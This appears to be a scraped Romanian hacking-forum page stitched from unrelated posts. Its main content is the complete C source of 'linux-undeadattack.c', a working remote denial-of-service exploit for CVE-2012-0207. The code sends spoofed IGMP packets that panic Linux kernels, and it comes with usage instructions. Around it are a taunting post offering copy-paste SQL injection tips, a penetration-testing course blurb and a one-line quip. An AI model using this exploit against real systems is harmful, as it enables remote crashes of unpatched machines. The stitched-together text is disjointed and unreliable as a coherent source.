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Domnule traian basescu eu sincer nu prea am auzit de dumneavoasta , de pe acest forum mi-am dat seama ca sunteti presedinte al romaniei Sa va spun sincer am fost si au candva demult pe acolo , pe vremea lui ion iliescu daca nu ma insel ,oricum nu stiu ce strategii de dictatura impuneti cetatenilor romani dar acestia au inceput sa isi depuna plagerile pe forumurile de hacking.Aici la noi nu exista dictatura dar sper ca nu ati venit pe acest forum sa vorbiti de politica ca va dau warn , puteti invata daca vreti putin sql injection copy&paste si cateva trucuri care bineinteles le veti dezvalui pe parcurs colegilor din parlament daca vreti. P.S in atentia domnului basescu traian Apropo eu am devenit apatrid si pentru mine poti sa prinzi radacini pe scaunul prezidential lungi ca arborii Sequoia si sa vinzi tot aurul din muntii apuseni americanilor dar sa nu tre prind ca faci trolling pe acest forum .

Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36) /* ** linux-undeadattack.c ** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36) ** CVE-2012-0207 ** credits to Ben Hutchings: ** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html ** written By Kingcope ** Year 2012 ** Ripped & modified code written by Firestorm ** Tested against * OpenSuSE 11.4 system ** * Recent Ubuntu Distro ** ** Example: ** ./undeadattack 192.168.2.16 192.168.2.3 ** The Linux Kernel at the remote side will Panic ** when sent over the network :> ** ENJOY! */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <netinet/in.h> #include <netdb.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> struct iphdr { unsigned char ihl:4, version:4, tos; unsigned short tot_len, id, frag_off; unsigned char ttl, protocol; unsigned short check; unsigned int saddr, daddr; unsigned int options1; unsigned int options2; }; struct igmp_query { unsigned char type; unsigned char maxresponse; unsigned short csum; unsigned int mcast; char padding[40]; }; unsigned short in_chksum(unsigned short *, int); long resolve(char *); long resolve(char *host) { struct hostent *hst; long addr; hst = gethostbyname(host); if (hst == NULL) return(-1); memcpy(&addr, hst->h_addr, hst->h_length); return(addr); } int main(int argc, char *argv[]) { struct sockaddr_in dst; struct iphdr *ip; struct igmp_query *igmp; long daddr, saddr; int s, i=0, c, len, one=1; char buf[1500]; if (argc < 3) { printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n" "credits to Ben Hutchings\nwritten by Kingcope\n" "Ripped & modified code written by Firestorm\n"); printf("Usage: %s <src> <dst>\n", *argv); return(1); } daddr = resolve(argv[2]); saddr = resolve(argv[1]); memset(buf, 0, 1500); ip = (struct iphdr *)&buf; igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)]; dst.sin_addr.s_addr = daddr; dst.sin_family = AF_INET; ip->ihl = 7; ip->version = 4; ip->tos = 0; ip->tot_len = htons(sizeof(struct iphdr)+8); ip->id = htons(18277); ip->frag_off=0; ip->ttl = 1; ip->protocol = IPPROTO_IGMP; ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr)); ip->saddr = saddr; ip->daddr = daddr; ip->options1 = 0; ip->options2 = 0; igmp->type = 0x11; igmp->maxresponse = 0xff; igmp->mcast=inet_addr("224.0.0.1"); igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero. igmp->csum=in_chksum((unsigned short *)igmp, 8); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) return(1); printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]); if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1) { perror("Error sending packet"); exit(-1); } close(s); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) return(1); ip->id = htons(18278); ip->tot_len = sizeof(struct iphdr)+12; igmp->type = 0x11; igmp->maxresponse = 0; igmp->mcast=inet_addr("0.0.0.0"); igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero. igmp->csum=in_chksum((unsigned short *)igmp, 12); printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]); if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1) { perror("Error sending packet"); exit(-1); } return(0); } unsigned short in_chksum(unsigned short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } Sursa: Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)

This is the course website for Penetration Testing and Vulnerability Analysis currently taught at the Polytechnic Institute of New York University. This course introduces the fundamental technical skills required to identify, analyze, and exploit software vulnerabilities. Taught by a team of security industry experts, we cover the following topics: Introduction to Penetration Testing, taught by Dan Guido Where the industry is now, where it's going, and how these skills fit in Operational Reviews and Code Audits, taught by Brandon Edwards Identify vulnerabilities and programmer errors by auditing source code Reverse Engineering, taught by Alex Sotirov and Aaron Portnoy Understand, modify, and analyze compiled applications and systems to identify vulnerabilities Exploitation, taught by Dino Dai Zovi Take advantage of vulnerabilities to gain access to restricted data and break security policies Web Hacking, taught by Joe Hemler and Marcin Wielgoszewski Vulnerability discovery and exploitation on the web Network Pentests: Post exploitation, persistence and exfiltration, taught by Colin Ames Expanding access, maintaining persistence, and evading detection Sursa

@ShadowWhite am zis g e langa h pe tastatura:)deci fara sa vrei gresesti:)copilule:)